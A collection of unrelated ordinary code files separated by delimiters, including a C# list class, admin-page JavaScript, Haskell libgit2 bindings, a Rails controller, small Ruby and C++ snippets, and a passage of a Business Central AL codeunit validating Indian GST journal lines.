private int bufferIncrement = 0;
public T this[int i]
{
get { return buffer[i]; }
set { buffer[i] = value; }
}
public GPUSkinningBetterList(int bufferIncrement)
{
this.bufferIncrement = Mathf.Max(1, bufferIncrement);
}
void AllocateMore()
{
T[] newList = (buffer != null) ? new T[buffer.Length + bufferIncrement] : new T[bufferIncrement];
if (buffer != null && size > 0) buffer.CopyTo(newList, 0);
buffer = newList;
}
public void Clear() { size = 0; }
public void Release() { size = 0; buffer = null; }
public void Add(T item)
{
if (buffer == null || size == buffer.Length) AllocateMore();
buffer[size++] = item;
}
public void AddRange(T[] items)
{
if (items == null)
{
return;
}
int length = items.Length;
if (length == 0)
{
return;
}
if (buffer == null)
{
buffer = new T[Mathf.Max(bufferIncrement, length)];
items.CopyTo(buffer, 0);
size = length;
}
else
{
if (size + length > buffer.Length)
{
T[] newList = new T[Mathf.Max(buffer.Length + bufferIncrement, size + length)];
buffer.CopyTo(newList, 0);
items.CopyTo(newList, size);
buffer = newList;
}
else
{
items.CopyTo(buffer, size);
}
size += length;
}
}
public void RemoveAt(int index)
{
if (buffer != null && index > -1 && index < size)
{
--size;
buffer[index] = default(T);
for (int b = index; b < size; ++b) buffer[b] = buffer[b + 1];
buffer[size] = default(T);
}
}
public T Pop()
{
if(buffer == null || size == 0)
{
return default(T);
}
--size;
T t = buffer[size];
buffer[size] = default(T);
return t;
}
public T Peek()
{
if (buffer == null || size == 0)
{
return default(T);
}
return buffer[size - 1];
}
}
|
<!-- DataTables -->
<script src="{{asset('public/admin/bower_components/datatables.net/js/jquery.dataTables.min.js')}}"></script>
<script src="{{asset('public/admin/bower_components/datatables.net-bs/js/dataTables.bootstrap.min.js')}}"></script>
<script>
$(function () {
$('#example1').DataTable()
$('#example2').DataTable({
'paging' : true,
'lengthChange': false,
'searching' : false,
'ordering' : true,
'info' : true,
'autoWidth' : false
})
})
</script>
<!-- Select2 -->
<script src="{{asset('public/admin/bower_components/select2/dist/js/select2.full.min.js')}}"></script>
<script>
$(function(){
//Initialize Select2 Elements
$('.select2').select2();
});
</script>
<script src="{{asset('public/admin/plugins/iCheck/icheck.min.js')}}"></script>
<script>
$(function () {
$('input').iCheck({
checkboxClass: 'icheckbox_square-blue',
radioClass: 'iradio_square-blue',
increaseArea: '20%' // optional
});
});
</script>
<!--Confirmation before deletion-->
<script type="text/javascript">
function delete_form(id){
if (confirm('Are you sure, you want delete this?')) {
event.preventDefault();
document.getElementById(id).submit();
}
else{
event.preventDefault();
}
}
</script>
|
#include <bindings.dsl.h>
#include <git2.h>
module Bindings.Libgit2.Odb where
#strict_import
import Bindings.Libgit2.Common
import Bindings.Libgit2.Types
import Bindings.Libgit2.Oid
import Bindings.Libgit2.OdbBackend
#ccall git_odb_new , Ptr (Ptr <git_odb>) -> IO (CInt)
#ccall git_odb_open , Ptr (Ptr <git_odb>) -> CString -> IO (CInt)
#ccall git_odb_add_backend , Ptr <git_odb> -> Ptr <git_odb_backend> -> CInt -> IO (CInt)
#ccall git_odb_add_alternate , Ptr <git_odb> -> Ptr <git_odb_backend> -> CInt -> IO (CInt)
#ccall git_odb_close , Ptr <git_odb> -> IO ()
#ccall git_odb_read , Ptr (Ptr <git_odb_object>) -> Ptr <git_odb> -> Ptr <git_oid> -> IO (CInt)
#ccall git_odb_read_prefix , Ptr (Ptr <git_odb_object>) -> Ptr <git_odb> -> Ptr <git_oid> -> CUInt -> IO (CInt)
#ccall git_odb_read_header , Ptr CSize -> Ptr <git_otype> -> Ptr <git_odb> -> Ptr <git_oid> -> IO (CInt)
#ccall git_odb_exists , Ptr <git_odb> -> Ptr <git_oid> -> IO (CInt)
#ccall git_odb_write , Ptr <git_oid> -> Ptr <git_odb> -> Ptr CChar -> CSize -> <git_otype> -> IO (CInt)
#ccall git_odb_open_wstream , Ptr (Ptr <git_odb_stream>) -> Ptr <git_odb> -> CSize -> <git_otype> -> IO (CInt)
#ccall git_odb_open_rstream , Ptr (Ptr <git_odb_stream>) -> Ptr <git_odb> -> Ptr <git_oid> -> IO (CInt)
#ccall git_odb_hash , Ptr <git_oid> -> Ptr CChar -> CSize -> <git_otype> -> IO (CInt)
#ccall git_odb_hashfile , Ptr <git_oid> -> CString -> <git_otype> -> IO (CInt)
#ccall git_odb_object_close , Ptr <git_odb_object> -> IO ()
#ccall git_odb_object_id , Ptr <git_odb_object> -> IO (Ptr <git_oid>)
#ccall git_odb_object_data , Ptr <git_odb_object> -> IO (Ptr CChar)
#ccall git_odb_object_size , Ptr <git_odb_object> -> IO (CSize)
#ccall git_odb_object_type , Ptr <git_odb_object> -> IO (<git_otype>)
|
## 算法1
**(双指针移动)*O(n)***
1. 如果nums的长度是0,直接返回0;
2. 初始令pos为0,i从位置1开始遍历,若发现nums[i]和nums[pos]不相等,则说明找到新的元素,并且nums[++pos]赋值为nums[i];
3. i向后移动直到末尾;
```CPP
class Solution {
public:
int removeDuplicates(vector<int>& nums) {
int n = nums.size();
int pos = 0;
for (int i = 0; i < n; i ++)
{
if (!i || nums[i] != nums[pos - 1])
nums[pos ++] = nums[i];
}
return pos;
}
};
``` |
export declare function equalProps<T extends object>(oldProps: T, newProps: T): boolean;
|
class ApplicationController < ActionController::Base
#include ApplicationHelper
helper_method :current_user, :logged_in?
private
def current_user
@current_user ||= User.find_by_id(session[:user_id])
end
def logged_in?
current_user
end
def login_redirect
if !logged_in?
redirect_to root_path
end
end
def wrong_user_redirect
if @user.id != current_user.id
session.clear
redirect_to root_path
end
end
end
|
#pragma once
namespace rslog
{
extern std::ostream info;
extern std::ostream error;
std::ostream& info_ts();
std::ostream& error_ts();
void InitLog();
void CleanupLog();
} |
module Exercise04
(
aPlusAbsB
) where
{- Exercise 1.4
-- Observe that our model of evaluation allows
-- for combinations whose operators are compound
-- expressions. Use this observation to describe
-- the behavior of the following procedure:
(define (a-plus-abs-b a b)
((if (> b 0) + -) a b))
-}
-- if <p> then <a> else <b>
-- if is an expression that returns either <a> or <b>
-- <a>, <b> may be any values (of the same type) even functions
-- if b > 0, aPlusAbsB = a + b
-- if b <= 0, aPlusAbsB = a - b = a + (-b) = a + |b| since b <= 0
-- in general we can say that aPlusAbsB = a + |b|
-- Choose between + and -, then give a and b to it
aPlusAbsB :: (Ord a, Num a) => a -> a -> a
aPlusAbsB a b = (if (b > 0) then (+) else (-)) a b
|
class Array
#Destructive version of Enumerable#squeeze
def squeeze!
replace(squeeze)
end
end
|
codeunit 18244 "GST Journal Line Validations"
{
var
CustGSTTypeErr: Label ' You can select POS Out Of India field on header only if GST Customer/Vednor Type is Registered, Unregistered or Deemed Export.';
VendGSTTypeErr: Label 'You can select POS Out Of India field on header only if GST Vendor Type is Registered.';
POSLOCDiffErr: Label 'You can select POS Out Of India field on header only if Customer / Vendor State Code and Location State Code are same.';
LocationErr: Label 'Bill To-Location and Location code must not be same.';
CurrencyCodePOSErr: Label 'Currency code should be blank for POS as Vendor State, current value is %1.', Comment = '%1 = Currency Code';
ProvisionalEntryAppliedErr: Label 'Provisional Entry is already applied against Document No. %1, you must unapply the provisional entry first.', Comment = '%1 = Document No.';
POSasAccountTypeErr: Label 'POS as Vendor State is only applicable for Purchase Document Type where Invoice or Credit Memo.';
GSTRelevantInfoErr: Label ' You cannot change any GST Relevant Information of Refund Doument after Payment Application.';
ReferenceInvoiceErr: Label 'Document is attached with Reference Invoice No. Please delete attached Reference Invoice No.';
GSTGroupReverseChargeErr: Label 'GST Group Code %1 with Reverse Charge cannot be selected for Customer.', Comment = '%1 GST Group Code';
BlankShiptoCodeErr: Label 'You must select Ship-to Code as "GST Place of Supply" is "Ship-to Address" on GST Group.';
ShiptoGSTARNErr: Label 'Either GST Registration No. or ARN No. should have a value in Ship To Code.';
FinChargeMemoAppliestoDocTypeErr: Label 'You cannot select GST on Advance Payment if Applies to Doc Type is Fin Charge Memo.';
PlaceOfSupplyErr: Label 'You cannot select Blank Place of Supply for Template %1 and Batch %2 for Line %3.', Comment = '%1 =Journal Template Name , %2 = Journal Batch Name , %3 =Line No.';
ExemptedGoodsErr: Label 'GST on Advance Payment is Exempted for Goods.';
RCMExcemptErr: Label 'Advance Payment against Unregistered Vendor is not allowed for exempted period,start date %1 to end date %2.', Comment = '%1 = RCM Exempt Start Date (Unreg) , %2 = RCM Exempt end Date (Unreg)';
CompGSTRegNoARNNoErr: Label 'Company Information must have either GST Registration No or ARN No.';
LocGSTRegNoARNNoErr: Label 'Location must have either GST Registration No or Location ARN No.';
CompanyGSTRegNoErr: Label 'Please specify GST Registration No in Company Information.';
LocationCodeErr: Label 'Please specify the Location Code or Location GST Registration No for the selected document.';
ReferencenotxtErr: Label 'Reference Invoice No is required where Invoice Type is Debit note and Supplementary.';
InvoiceTypeErr: Label 'You can not select the Sales Invoice Type %1 for GST Customer Type %2.', Comment = '%1 = Sales Invoice Type , %2 = GST Customer Type';
POSasVendorErr: Label 'POS as Vendor State is only applicable for Registered vendor, current vendor is %1.', Comment = '%1 = GST Vendor Type';
GSTPlaceOfSuppErr: Label 'You can not select POS Out Of India field on header if GST Place of Supply is Location Address.';
POSLineErr: Label 'Please select POS Out Of India field only on header line.';
POSasVendErr: Label 'POS as Vendor State is only applicable for Registered Vendor.';
VendGSTARNErr: Label 'Either Vendor GST Registration No. or ARN No. in Vendor should have a value.';
OrderAddGSTARNErr: Label 'Either GST Registration No. or ARN No. should have a value in Order Address.';
procedure OnValidateGSTTDSTCS(var GenJournalLine: Record "Gen. Journal Line")
var
GSTGroup: Record "GST Group";
CompanyInformation: Record "Company Information";
Location: Record Location;
begin
if GenJournalLine."GST TDS/GST TCS" = GenJournalLine."GST TDS/GST TCS"::" " then
exit;
GenJournalLine.TestField("TDS Certificate Receivable", false);
if GenJournalLine."Account Type" = GenJournalLine."Account Type"::Vendor then begin
GenJournalLine.TestField("GST TCS State Code");
if GSTGroup.Get(GenJournalLine."GST Group Code") then
GSTGroup.TestField("Reverse Charge", false);
end;
GenJournalLine.TestField("Document Type", GenJournalLine."Document Type"::Payment);
GenJournalLine.TestField("Location State Code");
if not (GenJournalLine."Account Type" in [GenJournalLine."Account Type"::Customer, GenJournalLine."Account Type"::Vendor]) then
GenJournalLine.TestField("GST TDS/GST TCS", GenJournalLine."GST TDS/GST TCS"::" ");
if GenJournalLine."Account Type" = GenJournalLine."Account Type"::Customer then
GenJournalLine.TestField("GST Customer Type", "GST Customer Type"::Registered);
if GenJournalLine."Account Type" = GenJournalLine."Account Type"::Vendor then
GenJournalLine.TestField("GST Vendor Type", "GST Vendor Type"::Registered);
CompanyInformation.Get();
if Location.Get(GenJournalLine."Location Code") then begin
if (Location."GST Registration No." = '') and (Location."Location ARN No." = '') then
Error(LocGSTRegNoARNNoErr);
if (CompanyInformation."ARN No." <> '') and (CompanyInformation."GST Registration No." = '') then
if (Location."Location ARN No." = '') or ((Location."Location ARN No." <> '') and (Location."GST Registration No." <> '')) then
Error(CompanyGSTRegNoErr);
end;
if GenJournalLine."GST TDS/GST TCS" in [GenJournalLine."GST TDS/GST TCS"::TCS, GenJournalLine."GST TDS/GST TCS"::TDS] then
GenJournalLine.TestField("GST TDS/TCS Base Amount");
case GenJournalLine."Account Type" of
GenJournalLine."Account Type"::Customer:
if GenJournalLine."Location State Code" <> GenJournalLine."GST Bill-to/BuyFrom State Code" then
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Interstate
else
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Intrastate;
GenJournalLine."Account Type"::Vendor:
if GenJournalLine."Location State Code" <> GenJournalLine."GST TCS State Code" then
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Interstate
else
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Intrastate;
end;
end;
procedure POSOutOfIndia(var GenJournalLine3: Record "Gen. Journal Line")
var
GenJournalLine: Record "Gen. Journal Line";
GenJournalLine2: Record "Gen. Journal Line";
ConfigType: Enum "Party Type";
GSTVendorType: Enum "GST Vendor Type";
GSTCustType: Enum "GST Customer Type";
begin
GenJournalLine3.TestField("POS as Vendor State", false);
if GenJournalLine3."POS Out Of India" then begin
if not (GenJournalLine3."Account Type" in [GenJournalLine3."Account Type"::Customer, GenJournalLine3."Account Type"::Vendor]) then
Error(POSLineErr);
if GenJournalLine3."Account Type" = GenJournalLine3."Account Type"::Customer then begin
if not (GenJournalLine3."GST Place of Supply" in [GenJournalLine3."GST Place of Supply"::" ", GenJournalLine3."GST Place of Supply"::"Location Address"]) then
Error(GSTPlaceOfSuppErr);
if GenJournalLine3."GST Place of Supply" = GenJournalLine3."GST Place of Supply"::" " then
if GetTotalDoclineNos(GenJournalLine3) > 1 then begin
GenJournalLine2.SetCurrentKey("Journal Template Name", "Journal Batch Name", "Document No.", "Line No.");
GenJournalLine2.SetRange("Journal Template Name", GenJournalLine3."Journal Template Name");
GenJournalLine2.SetRange("Journal Batch Name", GenJournalLine3."Journal Batch Name");
GenJournalLine2.SetRange("Document No.", GenJournalLine3."Document No.");
if GenJournalLine2.FindFirst() then
GenJournalLine2.SetFilter("GST Customer Type", '=%1', "GST Customer Type"::" ");
if GenJournalLine2.Count() <> 0 then
if GenJournalLine2.FindFirst() then begin
if GenJournalLine2."GST Place of Supply" = GenJournalLine2."GST Place of Supply"::"Location Address" then
Error(GSTPlaceOfSuppErr);
GenJournalLine := GenJournalLine3;
GenJournalLine."GST Place of Supply" := GenJournalLine2."GST Place of Supply";
VerifyPOSOutOfIndia(
ConfigType::Customer, GenJournalLine3."Location State Code", GetPlaceOfSupply(GenJournalLine), GSTVendorType::" ", GenJournalLine3."GST Customer Type");
end;
end;
if GenJournalLine3."GST Place of Supply" <> GenJournalLine3."GST Place of Supply"::"Location Address" then
VerifyPOSOutOfIndia(
ConfigType::Customer,
GenJournalLine3."Location State Code",
GetPlaceOfSupply(GenJournalLine3),
GSTVendorType::" ",
GenJournalLine3."GST Customer Type");
end;
if GenJournalLine3."Account Type" = GenJournalLine3."Account Type"::Vendor then
if GenJournalLine3."Order Address Code" <> '' then
VerifyPOSOutOfIndia(
ConfigType::Vendor, GenJournalLine3."Location State Code", GenJournalLine3."Order Address State Code", GenJournalLine3."GST Vendor Type", GSTCustType::" ")
else
VerifyPOSOutOfIndia(
ConfigType::Vendor, GenJournalLine3."Location State Code", GenJournalLine3."GST Bill-to/BuyFrom State Code", GenJournalLine3."GST Vendor Type", GSTCustType::" ");
end;
UpdateGSTJurisdictionType(GenJournalLine3);
CheckReferenceInvoiceNo(GenJournalLine3);
end;
procedure OrderAddressCode(var GenJournalLine: Record "Gen. Journal Line")
var
OrderAddress: Record "Order Address";
Vendor: Record Vendor;
begin
if GenJournalLine."Order Address Code" <> '' then begin
OrderAddress.Get(GenJournalLine."Account No.", GenJournalLine."Order Address Code");
if GenJournalLine."Document Type" in [GenJournalLine."Document Type"::Payment, GenJournalLine."Document Type"::Invoice, GenJournalLine."Document Type"::"Credit Memo"] then begin
UpdateOrderAddressFields(GenJournalLine, OrderAddress);
if GenJournalLine."GST Vendor Type" in ["GST Vendor Type"::Registered, "GST Vendor Type"::Composite,
"GST Vendor Type"::SEZ, "GST Vendor Type"::Exempted] then
if OrderAddress.Get(GenJournalLine."Account No.", GenJournalLine."Order Address Code") then
if (OrderAddress."GST Registration No." = '') and (OrderAddress."ARN No." = '') then
Error(OrderAddGSTARNErr);
if GenJournalLine."GST Vendor Type" in ["GST Vendor Type"::Registered, "GST Vendor Type"::Composite, "GST Vendor Type"::SEZ, "GST Vendor Type"::Exempted] then
if GenJournalLine."Vendor GST Reg. No." = '' then
if Vendor.Get(GenJournalLine."Account No.") and (Vendor."ARN No." = '') then
Error(VendGSTARNErr);
end;
end else begin
GenJournalLine."Order Address State Code" := '';
GenJournalLine."Order Address GST Reg. No." := '';
GenJournalLine.Modify();
end;
end;
local procedure UpdateOrderAddressFields(var GenJournalLine: Record "Gen. Journal Line"; OrderAddress: Record "Order Address")
begin
if ((GenJournalLine."Account Type" = GenJournalLine."Account Type"::Customer) or (GenJournalLine."Bal. Account Type" = GenJournalLine."Bal. Account Type"::Customer)) then
exit;
GenJournalLine."Order Address State Code" := OrderAddress.State;
GenJournalLine."Order Address GST Reg. No." := OrderAddress."GST Registration No.";
UpdateGSTJurisdictionType(GenJournalLine);
GenJournalLine.Modify();
end;
procedure POSasVendorState(var GenJournalLine: Record "Gen. Journal Line")
begin
if not (GenJournalLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"]) then
Error(POSasAccountTypeErr);
if (GenJournalLine."GST Customer Type" <> "GST Customer Type"::" ") or (GenJournalLine."Account Type" <> GenJournalLine."Account Type"::Vendor) then
Error(POSasVendErr);
if not (GenJournalLine."GST Vendor Type" = "GST Vendor Type"::Registered) then
Error(POSasVendorErr, GenJournalLine."GST Vendor Type");
if GenJournalLine."Currency Code" <> '' then
Error(CurrencyCodePOSErr, GenJournalLine."Currency Code");
GenJournalLine.TestField("POS Out Of India", false);
CheckBilltoLocation(GenJournalLine);
end;
procedure GSTAssessableValue(var GenJournalLine: Record "Gen. Journal Line")
begin
if GenJournalLine."Document Type" in ["Document Type Enum"::"Credit Memo"] then
GenJournalLine.TestField("GST Assessable Value", 0);
if (GenJournalLine."GST Group Type" <> "GST Group Type"::Goods) then
GenJournalLine.TestField("GST Assessable Value", 0);
GenJournalLine."GST Assessable Value" := Abs(GenJournalLine."GST Assessable Value");
end;
procedure CustomDutyAmount(var GenJournalLine: Record "Gen. Journal Line")
begin
if GenJournalLine."Document Type" in ["Document Type Enum"::"Credit Memo"] then
GenJournalLine.TestField("Custom Duty Amount", 0);
if (GenJournalLine."GST Group Type" <> "GST Group Type"::Goods) then
GenJournalLine.TestField("Custom Duty Amount", 0);
GenJournalLine."Custom Duty Amount" := Abs(GenJournalLine."Custom Duty Amount");
end;
procedure SalesInvoiceType(var GenJournalLine: Record "Gen. Journal Line")
var
GenJournalLine2: Record "Gen. Journal Line";
PostingNoSeries: Record "Posting No. Series";
TotalNoOfLines: Integer;
Record: Variant;
begin
GenJournalLine.TestField("GST Vendor Type", "GST Vendor Type"::" ");
TotalNoOfLines := GetTotalDoclineNos(GenJournalLine);
if TotalNoOfLines > 1 then begin
GenJournalLine2.SetRange("Document No.", GenJournalLine."Document No.");
GenJournalLine2.SetFilter("GST Customer Type", '<>%1', GenJournalLine2."GST Customer Type"::" ");
if (GenJournalLine2.Count() = 1) and GenJournalLine2.FindFirst() then
if GenJournalLine2."GST Customer Type" <> GenJournalLine2."GST Customer Type"::Exempted then
if not CheckAllLinesExemptedJournal(GenJournalLine2) then
GenJournalLine.TestField("Sales Invoice Type", "Sales Invoice Type"::"Bill of Supply")
else
CheckInvoiceTypeWithExempted(false, GenJournalLine);
end else
if TotalNoOfLines = 1 then
CheckInvoiceTypeWithExempted(GenJournalLine.Exempted, GenJournalLine);
//Get posting No Seried form posting no. series table
Record := GenJournalLine;
GenJournalLine."Transaction Type" := GenJournalLine."Transaction Type"::Sales;
postingnoseries.GetPostingNoSeriesCode(Record);
if (GenJournalLine."Document Type" = "Document Type Enum"::Invoice) and (GenJournalLine."Reference Invoice No." <> '') then
if not (GenJournalLine."Sales Invoice Type" in ["Sales Invoice Type"::"Debit note", "Sales Invoice Type"::Supplementary]) then
Error(ReferencenotxtErr);
end;
procedure GSTonAdvancePayment(var GenJournalLine: Record "Gen. Journal Line")
var
PurchasesPayablesSetup: Record "Purchases & Payables Setup";
CompanyInformation: Record "Company Information";
Location: Record location;
begin
if GenJournalLine."Tax Type" <> "Tax Type"::" " then
GenJournalLine.FieldError("Tax Type");
GenJournalLine.TestField("Document Type", GenJournalLine."Document Type"::Payment);
GenJournalLine.TestField("Work Tax Nature Of Deduction", '');
if not (GenJournalLine."Account Type" in [GenJournalLine."Account Type"::Customer, GenJournalLine."Account Type"::Vendor]) then
GenJournalLine.TestField("GST on Advance Payment", false);
if GenJournalLine."Applies-to Doc. Type" = GenJournalLine."Applies-to Doc. Type"::"Finance Charge Memo" then
Error(FinChargeMemoAppliestoDocTypeErr);
if GenJournalLine."Amount Excl. GST" <> 0 then
GenJournalLine.TestField("GST on Advance Payment", false);
case GenJournalLine."Account Type" of
GenJournalLine."Account Type"::Customer:
begin
if not (GenJournalLine."GST Customer Type" in ["GST Customer Type"::Registered, "GST Customer Type"::Unregistered]) then begin
GenJournalLine.TestField("GST on Advance Payment", false);
GenJournalLine.TestField("Currency Code", '');
end;
GenJournalLine.TestField("GST Input Service Distribution", false);
if GenJournalLine."GST Place of Supply" = GenJournalLine."GST Place of Supply"::" " then
Error(PlaceOfSupplyErr, GenJournalLine."Journal Template Name", GenJournalLine."Journal Batch Name", GenJournalLine."Line No.");
if GenJournalLine."GST Group Type" = "GST Group Type"::Goods then
Error(ExemptedGoodsErr);
end;
GenJournalLine."Account Type"::Vendor:
begin
GenJournalLine.TestField("GST Input Service Distribution", false);
if not GenJournalLine."GST Reverse Charge" then
GenJournalLine.TestField("GST on Advance Payment", false);
if CheckRCMExemptDate(GenJournalLine) then begin
PurchasesPayablesSetup.Get();
Error(RCMExcemptErr, PurchasesPayablesSetup."RCM Exempt Start Date (Unreg)", PurchasesPayablesSetup."RCM Exempt end Date (Unreg)");
end;
if (GenJournalLine."GST Vendor Type" = "GST Vendor Type"::Import) or (GenJournalLine."GST Vendor Type" = "GST Vendor Type"::SEZ) then
GenJournalLine.TestField("GST Group Type", "GST Group Type"::Service);
if GenJournalLine."GST Group Type" = "GST Group Type"::Goods then
Error(ExemptedGoodsErr);
end;
end;
if (GenJournalLine."GST Place of Supply" = GenJournalLine."GST Place of Supply"::"Ship-to Address") and (GenJournalLine."Ship-to Code" = '') then
Error(BlankShiptoCodeErr);
CompanyInformation.Get();
if (CompanyInformation."GST Registration No." = '') and (CompanyInformation."ARN No." = '') then
Error(CompGSTRegNoARNNoErr);
if (GenJournalLine."Location Code" = '') and (GenJournalLine."Location GST Reg. No." = '') then
Error(LocationCodeErr);
if Location.Get(GenJournalLine."Location Code") then begin
if (Location."GST Registration No." = '') and (Location."Location ARN No." = '') then
Error(LocGSTRegNoARNNoErr);
if (CompanyInformation."ARN No." <> '') and (CompanyInformation."GST Registration No." = '') then
if (Location."Location ARN No." = '') or ((Location."Location ARN No." <> '') and (Location."GST Registration No." <> '')) then
Error(CompanyGSTRegNoErr);
end;
GenJournalLine.TestField("Location State Code");
UpdateGSTJurisdictionType(GenJournalLine);
end;
procedure GSTPlaceofsuppply(var GenJournalLine: Record "Gen. Journal Line"; var XGenJournalLine: Record "Gen. Journal Line")
begin
if (GenJournalLine."Document Type" = GenJournalLine."Document Type"::Refund) and (GenJournalLine."Applies-to Doc. No." <> '') then
if XGenJournalLine."GST Place of Supply" <> GenJournalLine."GST Place of Supply" then
Error(GSTRelevantInfoErr);
if GenJournalLine."GST Place of Supply" <> GenJournalLine."GST Place of Supply"::"Ship-to Address" then begin
GenJournalLine."Ship-to Code" := '';
GenJournalLine."Ship-to GST Reg. No." := '';
end;
if XGenJournalLine."GST Place of Supply" <> XGenJournalLine."GST Place of Supply"::" " then
if (GenJournalLine."Account Type" = GenJournalLine."Account Type"::"Fixed Asset") and GenJournalLine."FA Reclassification Entry" and
(GenJournalLine."FA Posting Type" = GenJournalLine."FA Posting Type"::"Acquisition Cost")
then
if XGenJournalLine."GST Place of Supply" <> GenJournalLine."GST Place of Supply" then
GenJournalLine.TestField("GST Place of Supply", XGenJournalLine."GST Place of Supply");
CheckShipCode(GenJournalLine);
if GenJournalLine."GST Transaction Type" = "GST Transaction Type"::Sale then
GenJournalLine.TestField("POS Out Of India", false);
end;
procedure GSTGroupCode(var GenJournalLine: Record "Gen. Journal Line"; var XGenJournalLine: Record "Gen. Journal Line")
var
SalesReceivablesSetup: Record "Sales & Receivables Setup";
GSTGroup: Record "GST Group";
GenJournalLine2: Record "Gen. Journal Line";
PostingNoSeries: Record "Posting No. Series";
TransactionType: Enum "JournalLine TransactionType";
Record: Variant;
GstPlaceOfSupply: Enum "GST Dependency Type";
GSTPOS: Text;
begin
GenJournalLine."GST TDS/GST TCS" := GenJournalLine."GST TDS/GST TCS"::" ";
GenJournalLine."Exclude GST in TCS Base" := false;
GenJournalLine."GST On Assessable Value" := false;
GenJournalLine."GST Assessable Value Sale(LCY)" := 0;
if GenJournalLine."Document Type" in [GenJournalLine."Document Type"::Payment, GenJournalLine."Document Type"::Refund] then
GenJournalLine."GST Reverse Charge" := GenJournalLine."GST Vendor Type" in ["GST Vendor Type"::Import];
GenJournalLine."RCM Exempt" := CheckRCMExemptDate(GenJournalLine);
if (GenJournalLine."Document Type" = GenJournalLine."Document Type"::Refund) and (GenJournalLine."Applies-to Doc. No." <> '') then
if XGenJournalLine."GST Group Code" <> GenJournalLine."GST Group Code" then
Error(GSTRelevantInfoErr);
GenJournalLine.TestField("Work Tax Nature Of Deduction", '');
if XGenJournalLine."GST Group Code" <> '' then
if (GenJournalLine."Account Type" = GenJournalLine."Account Type"::"Fixed Asset") and GenJournalLine."FA Reclassification Entry" and
(GenJournalLine."FA Posting Type" = GenJournalLine."FA Posting Type"::"Acquisition Cost")
then
if XGenJournalLine."GST Group Code" <> GenJournalLine."GST Group Code" then begin
GenJournalLine.TestField("GST Group Code", XGenJournalLine."GST Group Code");
GenJournalLine.TestField("GST Group Code");
end;
if (GenJournalLine."Account Type" = GenJournalLine."Account Type"::"Fixed Asset") and GenJournalLine."FA Reclassification Entry" and
(GenJournalLine."FA Posting Type" <> GenJournalLine."FA Posting Type"::"Acquisition Cost")
then
GenJournalLine.TestField("GST Group Code", '');
if GenJournalLine."GST Group Code" <> '' then begin
SalesReceivablesSetup.Get();
if GSTGroup.Get(GenJournalLine."GST Group Code") then begin
GenJournalLine."GST Group Type" := GSTGroup."GST Group Type";
if GenJournalLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"] then begin
GenJournalLine."GST Place of Supply" := GSTGroup."GST Place Of Supply";
GSTPOS := Format(SalesReceivablesSetup."GST Dependency Type");
Evaluate(GstPlaceOfSupply, GSTPOS);
if GenJournalLine."GST Place of Supply" = GenJournalLine."GST Place of Supply"::" " then
GenJournalLine."GST Place of Supply" := GstPlaceOfSupply;
end;
if (GenJournalLine."GST Vendor Type" in ["GST Vendor Type"::Registered, "GST Vendor Type"::Unregistered, "GST Vendor Type"::SEZ]) and
(GenJournalLine."Document Type" in [GenJournalLine."Document Type"::Payment, GenJournalLine."Document Type"::Refund])
then
GenJournalLine."GST Reverse Charge" := GSTGroup."Reverse Charge"
else
if GenJournalLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"] then
GenJournalLine."GST Reverse Charge" := GSTGroup."Reverse Charge";
if GenJournalLine."GST Vendor Type" = GenJournalLine."GST Vendor Type"::Unregistered then
GenJournalLine."GST Reverse Charge" := true;
end;
if (GenJournalLine."Document Type" in [GenJournalLine."Document Type"::Invoice, GenJournalLine."Document Type"::"Credit Memo"]) and
(GenJournalLine."GST Vendor Type" = GenJournalLine."GST Vendor Type"::Unregistered) then
GenJournalLine."GST Reverse Charge" := true;
if GenJournalLine."Account Type" = GenJournalLine."Account Type"::Customer then begin
if GSTGroup."Reverse Charge" then
Error(GSTGroupReverseChargeErr, GenJournalLine."GST Group Code");
if GSTGroup."GST Place Of Supply" = GSTGroup."GST Place Of Supply"::" " then begin
GSTPOS := Format(SalesReceivablesSetup."GST Dependency Type");
Evaluate(GstPlaceOfSupply, GSTPOS);
GenJournalLine."GST Place of Supply" := GstPlaceOfSupply;
end else
GenJournalLine."GST Place of Supply" := GSTGroup."GST Place Of Supply";
end;
GetJournalHeader(GenJournalLine2, GenJournalLine, TransactionType::Purchase);
if (GenJournalLine2."GST Vendor Type" in [GenJournalLine2."GST Vendor Type"::Unregistered,
GenJournalLine2."GST Vendor Type"::Registered]) and
GenJournalLine."GST Reverse Charge"
then begin
//Get Posting No. Series
Record := GenJournalLine;
GenJournalLine."Transaction Type" := GenJournalLine."Transaction Type"::purchase;
PostingNoSeries.GetPostingNoSeriesCode(Record);
end;
end else begin
GenJournalLine."GST Place of Supply" := GenJournalLine."GST Place of Supply"::" ";
GenJournalLine."GST Group Type" := "GST Group Type"::Goods;
end;
if XGenJournalLine."GST Group Code" <> GenJournalLine."GST Group Code" then
GenJournalLine."HSN/SAC Code" := '';
if GenJournalLine."GST Group Code" <> '' then
GenJournalLine.TestField("Provisional Entry", false);
end;
procedure PartyCode(var GenJournalLine: Record "Gen. Journal Line")
begin
case GenJournalLine."Party Type" of
GenJournalLine."Party Type"::Vendor:
begin
GenJournalLine.Validate("Account Type", GenJournalLine."Account Type"::Vendor);
GenJournalLine.Validate("Account No.", GenJournalLine."Party Code");
end;
GenJournalLine."Party Type"::Customer:
begin
GenJournalLine.Validate("Account Type", GenJournalLine."Account Type"::Customer);
GenJournalLine.Validate("Account No.", GenJournalLine."Party Code");
end;
GenJournalLine."Party Type"::Party:
UpdateorClearVendCustInfo(GenJournalLine."Party Code", false, false, true, GenJournalLine);
GenJournalLine."Party Type"::" ":
UpdateorClearVendCustInfo(GenJournalLine."Party Code", false, false, false, GenJournalLine);
end;
if GenJournalLine."Party Code" = '' then
UpdateorClearVendCustInfo(GenJournalLine."Party Code", false, false, true, GenJournalLine);
end;
procedure LocationCode(var GenJournalLine: Record "Gen. Journal Line")
var
Location: Record Location;
Location2: Record Location;
GSTPostingSetup: Record "GST Posting Setup";
GSTSetup: Record "GST Setup";
TAXComponent: Record "Tax Component";
PostingNoSeries: Record "Posting No. Series";
Record: Variant;
LocationARNNo: Code[20];
begin
GenJournalLine."Provisional Entry" := false;
ProvisionalEntryAlreadyAppliedErr(GenJournalLine);
